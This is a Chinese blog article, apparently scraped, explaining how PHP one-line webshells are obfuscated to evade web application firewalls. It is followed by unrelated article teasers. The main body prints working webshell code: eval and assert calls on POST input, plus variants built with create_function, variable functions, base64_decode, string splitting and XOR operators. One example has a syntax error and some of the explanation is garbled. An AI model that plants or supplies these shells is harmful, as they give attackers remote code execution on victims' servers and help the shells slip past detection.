当前位置: 首页 > news >正文

一句话木马的多种变形方式

今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。
通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。

1、都有些什么“马”?

  • 小马
    体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。
  • 大马
    体积大,功能强大,但是易被发现。
  • 一句话木马
    在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

随着一句话木马的滥用,普通的一句话木马都已经逃不过waf的检测了,为了逃避waf的检测,一句话木马开始了他的变形之旅。

2、一句话木马的变形之路

【最初的一句话】
制作一句话:

<?php @eval($_POST['juminfo']);?>
<?php @assert($_POST['juminfo']);?>

【create_function函数】
脚本内容:

<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

【PHP变量函数】
脚本内容:

<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
【PHP可变变量】
脚本内容:

<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>

通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”
【str_replace函数】
脚本内容:

<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
【base64_decode函数】
脚本内容:

<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

【"."操作符】
脚本内容:

<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>

【运算符变形】
脚本内容:

<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>

当我第一次看到这个脚本的时候,一头雾水,这是什么东西?
后来用echo打印出三个变量 + + 、 _++、 ++__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。

<?php $_GET[0]($_POST[1])?>

只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。
在这里插入图片描述

3、总结

一句话的混淆方式还有很多很多,基于以上的变形思路还能够衍生出无数新的变种木马,为了更好地防止“被放马”的事件发生,我们应该及时对使用的安全产品进行更新,才能让“马”无处可走。

相关文章:

一句话木马的多种变形方式

今天来和大家聊一聊&#xff0c;一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马&#xff0c;这里的“马”是木马的意思&#xff0c;可不是真实的马。 通常&#xff0c;攻击者利用文件上传漏洞&#xff0c;上传一个可执行并且能被解析的脚本文件&#xff0c;…...

【NestJS入门到精通】装饰器

目录 方法装饰器通过prototype添加属性、方法 属性装饰器拓展 方法装饰器参数装饰器 方法装饰器 ClassDecorator 定义了一个类装饰器 a&#xff0c;并将其应用于类 A。装饰器 a 会在类 A 被定义时执行。 const a:ClassDecorator (target:any)>{console.log(target,targe…...

XML 编辑最简单好用的 QXmlEdit 软件已经完整中文化

XML 编辑最简单好用的 QXmlEdit 软件已经完整中文化 简介一、软件界面二、安装下载2.1 QXmlEdit 官方网站下载2.2 QXmlEdit 源代码下载2.3 QXmlEdit 软件中文版下载 三、QXmlEdit 编辑 ADCP 测量项目的 MMT 文件3.1 应用 XML 文件缩进3.2 使用 QXmlEdit 缩进编辑保存后&#xf…...

ref标签、style的scope

ref标签 作用&#xff1a;用于注册模板引用。 用在普通DOM标签上&#xff0c;获取的是DOM节点。用在组件标签上&#xff0c;获取的是组件实例对象。 DOM&#xff1a; <template><div class"person"><h2 ref"title2">上海</h2>&l…...

22年408数据结构

第一题&#xff1a; 解析&#xff1a; 观察一下这个程序&#xff1a;我们注意到最外层的循环是从i1开始的&#xff0c;每次ii*2&#xff0c;直到i<n为止&#xff0c;假设程序总共执行k次执行&#xff0c;则有2^(k1)>n。则k1>log(2)n这里是以2为底n的对数, k>log(2)…...

ubuntu 虚拟机将linux文件夹映射为windows网络位置

在使用虚拟机时可以选择将windows的文件夹设置为共享文件夹方便在虚拟机中访问windows中的文件,同理,也可以将linux的文件夹共享为一个网络文件夹,通过windows的添加一个网络位置功能,将linux的文件夹映射到windows本地,方便windows访问使用linux的文件夹 参照如下:https://blo…...

Pytho逻辑回归算法:面向对象的实现与案例详解

这里写目录标题 Python逻辑回归算法&#xff1a;面向对象的实现与案例详解引言一、逻辑回归算法简介1.1 损失函数1.2 梯度下降 二、面向对象的逻辑回归实现2.1 类的设计2.2 Python代码实现2.3 代码详解 三、逻辑回归案例分析3.1 案例一&#xff1a;简单二分类问题问题描述数据代…...

AWS WAF实战指南:从入门到精通

1. 引言 Amazon Web Services (AWS) Web Application Firewall (WAF) 是一款强大的网络安全工具,用于保护Web应用程序免受常见的Web漏洞攻击。本文将带您从入门到精通,深入探讨AWS WAF的实际应用策略,并提供具体案例,帮助您更好地保护您的Web应用程序。 2. AWS WAF基础 …...

k8s的部署

一、K8S简介 Kubernetes中文官网&#xff1a;Kubernetes GitHub&#xff1a;github.com/kubernetes/kubernetes Kubernetes简称为K8s&#xff0c;是用于自动部署、扩缩和管理容器化应用程序的开源系统&#xff0c;起源于Google 集群管理工具Borg。 Kubernetes集群组件逻辑图…...

C# 两个进程/exe通讯方式 两个应用程序通讯方式

C# 两个exe通讯方式 两个应用程序通讯方式 1. 命名管道&#xff08;Named Pipes&#xff09; 1.1. 概述 命名管道是一种用于在同一台机器或网络中不同进程之间进行双向通信的机制。它支持同步和异步通信&#xff0c;适用于需要高效数据传输的场景。 1.2. 特点 双向通信&am…...

ubuntu下打开摄像头

ubuntu下打开摄像头 在Ubuntu下,你可以使用cheese,这是一个开源的摄像头应用程序。如果你还没有安装它,可以通过以下命令安装: sudo apt-get updatesudo apt-get install cheese 安装完成后,你可以通过命令行启动它: cheese 或者,你也可以使用ffmpeg来打开摄像头并进…...

ABAP 表转JSON格式

FUNCTION ZRFC_FI_SEND_PAYPLAN2BPM. *"---------------------------------------------------------------------- *"*"本地接口&#xff1a; *" IMPORTING *" VALUE(INPUT) TYPE ZSRFC_FI_SEND_PAYBPM_IN *" EXPORTING *" VAL…...

oceanbase的日志量太大,撑爆磁盘,修改下日志级别

oceanbase的日志量太大&#xff0c;撑爆磁盘&#xff0c;修改下日志级别&#xff1a; [adminlnpg ~]$ obclient -h127.0.0.1 -uroot -P2881 -plinux123 Welcome to the OceanBase. Commands end with ; or \g. Your OceanBase connection id is 3221561020 Server version: O…...

【C++11】lambda表达式

前言&#xff1a; 随着 C11 的发布&#xff0c;C 标准引入了许多新特性&#xff0c;使语言更加现代化&#xff0c;开发者编写的代码也变得更加简洁和易于维护。Lambda 表达式是其中一个重要的特性&#xff0c;它提供了一种方便的方式来定义匿名函数&#xff0c;这在函数式编程范…...

前端学习-css的背景(十六)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 背景颜色 语法格式 背景图片 语法格式 背景平铺 语法格式 背景图片位置 语法格式 参数代表的意思 参数是方位名词 参数是精确单位 参数是混合单位 背…...

使用Postman搞定各种接口token实战

现在许多项目都使用jwt来实现用户登录和数据权限&#xff0c;校验过用户的用户名和密码后&#xff0c;会向用户响应一段经过加密的token&#xff0c;在这段token中可能储存了数据权限等&#xff0c;在后期的访问中&#xff0c;需要携带这段token&#xff0c;后台解析这段token才…...

ssh连接慢的问题或远程连接服务超时

问题原因&#xff1a; 在SSH登录过程中&#xff0c;服务器会通过反向DNS查找客户端的主机名&#xff0c;然后与登录的IP地址进行匹配&#xff0c;以验证登录的合法性。如果客户端的IP没有域名或DNS服务器响应缓慢&#xff0c;这可能导致SSH登录过慢。为了解决这个问题&#xf…...

基于卷积神经网络的蔬菜识别系统,resnet50,mobilenet模型【pytorch框架+python源码】

更多目标检测和图像分类识别项目可看我主页其他文章 功能演示&#xff1a; 基于卷积神经网络的蔬菜识别系统&#xff0c;resnet50&#xff0c;mobilenet【pytorch框架&#xff0c;python&#xff0c;tkinter】_哔哩哔哩_bilibili &#xff08;一&#xff09;简介 基于卷积神…...

数据结构与算法:栈与队列的高级应用

目录 3.1 栈的高级用法 3.2 队列的深度应用 3.3 栈与队列的综合应用 总结 数据结构与算法&#xff1a;栈与队列的高级应用 栈和队列是两种重要的线性数据结构&#xff0c;它们在计算机科学和工程的许多领域都有广泛的应用。从函数调用到表达式求值&#xff0c;再到任务调度…...

macos php开发环境之macport安装的php扩展安装,php常用扩展安装,port中可用的所有php扩展列表

macos中&#xff0c;我们使用了port 安装了php后&#xff0c;默认只带有php基本的核心扩展的&#xff0c; 如果需要使用其他的扩展&#xff0c;如 redis, https&#xff0c; xdebug等扩展就需要我们手动来安装对应的扩展。 macos php开发环境 macport安装的php的方法见macos 中…...

VLP-16数据包解析实战:从原始字节到三维点云

1. VLP-16数据包解析入门指南 第一次拿到VLP-16激光雷达的原始UDP数据流时&#xff0c;我完全被那一串串十六进制数字搞懵了。这就像收到一封用密码写成的信&#xff0c;明明知道里面藏着宝贵的三维环境信息&#xff0c;却不知道如何破译。经过几个项目的实战积累&#xff0c;我…...

终极指南:如何利用Reor AI智能笔记应用的本地化语义搜索与智能推荐功能

终极指南&#xff1a;如何利用Reor AI智能笔记应用的本地化语义搜索与智能推荐功能 【免费下载链接】reor Self-organizing AI note-taking app that runs models locally. 项目地址: https://gitcode.com/GitHub_Trending/re/reor Reor是一款革命性的AI智能笔记应用&am…...

如何通过内置实时地图彻底解决黑神话悟空中的迷路问题:终极导航指南

如何通过内置实时地图彻底解决黑神话悟空中的迷路问题&#xff1a;终极导航指南 【免费下载链接】wukong-minimap 黑神话内置实时地图 / Black Myth: Wukong Built-in real-time map 项目地址: https://gitcode.com/gh_mirrors/wu/wukong-minimap 在《黑神话&#xff1a…...

Carla仿真引擎报错‘Signal 11’?别慌,手把手教你排查UE4显存爆满问题

Carla仿真引擎报错‘Signal 11’的终极排查指南&#xff1a;从崩溃日志到显存优化 当你满心期待地启动Carla仿真环境&#xff0c;准备开始自动驾驶算法的测试时&#xff0c;屏幕上突然跳出一串令人窒息的红色错误信息&#xff1a;"Engine crash handling finished; re-ra…...

如何将MacBook刘海变成你的私人文件中转站:NotchDrop完整使用指南

如何将MacBook刘海变成你的私人文件中转站&#xff1a;NotchDrop完整使用指南 【免费下载链接】NotchDrop Use your MacBooks notch like Dynamic Island for temporary storing files and AirDrop 项目地址: https://gitcode.com/gh_mirrors/no/NotchDrop 你是否曾觉得…...

如何用AI提升视频画质?Video2X全攻略:从技术原理到实践应用

如何用AI提升视频画质&#xff1f;Video2X全攻略&#xff1a;从技术原理到实践应用 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/…...

TNTSearch 实战案例:构建电商产品搜索系统的完整流程

TNTSearch 实战案例&#xff1a;构建电商产品搜索系统的完整流程 【免费下载链接】tntsearch A fully featured full text search engine written in PHP 项目地址: https://gitcode.com/gh_mirrors/tn/tntsearch TNTSearch 是一个功能强大的 PHP 全文搜索引擎&#xff…...

Phi-4-reasoning-vision-15B行业应用:银行手机银行截图→交易流程合规性审计

Phi-4-reasoning-vision-15B在银行手机银行截图合规审计中的应用实践 1. 银行业务合规审计的痛点与机遇 在银行业务数字化转型的浪潮中&#xff0c;手机银行已成为客户办理业务的主要渠道。然而&#xff0c;随之而来的是海量的交易截图和操作记录需要人工审核&#xff0c;以确…...

计算机毕设 java 基于 Java+Spring 的疫苗接种管理系统的设计与实现 智能疫苗接种预约系统 疫苗接种全流程管理平台

计算机毕设 java 基于 JavaSpring 的疫苗接种管理系统的设计与实现 69geq9&#xff08;配套有源码 程序 mysql 数据库 论文&#xff09;本套源码可以先看具体功能演示视频领取&#xff0c;文末有联 xi 可分享在社会对公共卫生安全愈发重视的背景下&#xff0c;疫苗接种作为重要…...

OpenBot开源代码平台:可视化编程与AI模块开发教程

OpenBot开源代码平台&#xff1a;可视化编程与AI模块开发教程 【免费下载链接】OpenBot OpenBot leverages smartphones as brains for low-cost robots. We have designed a small electric vehicle that costs about $50 and serves as a robot body. Our software stack for…...